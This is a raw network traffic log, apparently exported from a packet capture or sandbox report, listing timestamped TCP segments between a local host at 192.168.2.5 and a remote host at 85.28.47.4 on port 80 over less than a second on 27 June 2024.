Jun 27, 2024 07:37:09.746514082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.746555090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.746706963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.746802092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.746820927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.746820927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.746840000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.746850967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.746859074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.746875048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.746900082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.747031927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.747080088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.750780106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.750839949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.750885963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.750904083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.750938892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.750960112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.750991106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751008987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751028061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751036882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.751046896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751075029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.751106024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.751176119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751220942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.751332998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751351118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751368999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751384020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.751395941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751409054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.751414061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751430988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751437902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.751477003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.751621008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751665115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.751676083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751727104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.751761913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751780033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751800060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751802921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.751818895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.751822948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.751844883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.751868010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.752053976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.752077103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.752087116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.752093077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.752111912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.752114058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.752131939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.752132893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.752150059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.752170086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.752176046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.752199888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.752234936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755156994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755213976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755233049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755250931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755280972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755289078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755300045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755326033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755332947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755368948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755426884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755446911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755466938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755472898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755482912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755495071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755518913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755534887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755639076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755664110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755672932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755681038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755683899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755707979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755738974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755867958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755887032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755907059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755913019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755923033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.755934954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755953074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.755973101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756083965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756103039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756122112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756139994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756151915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756151915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756179094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756313086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756330013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756360054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756390095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756453991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756472111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756500959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756503105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756529093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756536007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756547928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756561041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756568909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756575108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756588936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756597996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756614923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756638050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756834984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756853104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756871939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756886959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756891012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756910086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.756911993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756926060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.756962061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.757123947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757142067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757159948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757175922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.757178068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757195950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.757196903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757220984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.757255077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.757462978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757483006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757509947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757523060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.757528067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757534981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.757546902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757560015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.757565975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757581949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.757584095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757602930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757606030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.757622004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757638931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.757639885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757658958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.757672071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.757705927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.758025885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.758075953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.758133888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.758152008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.758169889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.758186102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.758196115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.758204937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.758213043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.758224964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.758230925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.758249044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.758272886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.758481026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.758501053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.758519888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.758533955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.758549929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.758563995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.758569002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.758588076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.758590937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.758608103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.758609056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.758645058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.758671999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.828798056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.828852892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.828872919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.828891039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.828916073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.828938007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.828983068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.829001904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.829020977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.829046011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.829080105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.829099894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.829144001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.832819939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.832838058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.832856894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.832948923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.832968950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.833002090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.833036900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.833097935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.833117008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.833136082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.833146095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.833183050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.833317041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.833334923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.833353996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.833362103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.833398104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.833528996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.833548069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.833574057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.833606958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.833661079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.833679914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.833707094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.833729982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.837408066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.837440014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.837467909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.837471962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.837490082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.837512016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.837528944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.837569952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.837606907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.837625027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.837644100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.837654114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.837699890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.837699890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.837785959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.837805986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.837826967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.837833881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.837852001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.837857008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.837871075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.837903023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.837913036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.837961912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.837965012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.837982893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.838001013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.838012934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.838030100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.838052034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.838103056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.838119030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.838148117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.838150978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.838184118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.838202953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.838439941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.838474989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.838495016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.838515997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.838515997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.838560104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.839111090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.839140892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.839159966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.839164019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.839178085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.839186907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.839195967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.839209080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.839230061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.839248896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.839292049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.839319944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.839338064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.839343071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.839361906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.839361906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.839386940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.839387894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.839399099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.839406013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.839426994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.839432955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.839456081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.839476109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.841872931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.841913939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.841938019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.841950893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.841986895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842031002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842057943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842077017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842099905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842103004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842124939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842144966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842252970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842272043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842303991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842324018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842329979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842348099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842376947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842396021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842468023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842485905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842504978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842513084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842520952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842533112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842539072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842555046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842557907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842573881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842602015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842765093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842780113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842812061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842843056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842864037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842880964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842900038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842907906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842917919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842927933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842937946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.842952013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842972040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.842989922 CEST	49705	80	192.168.2.5	85.28.47.4
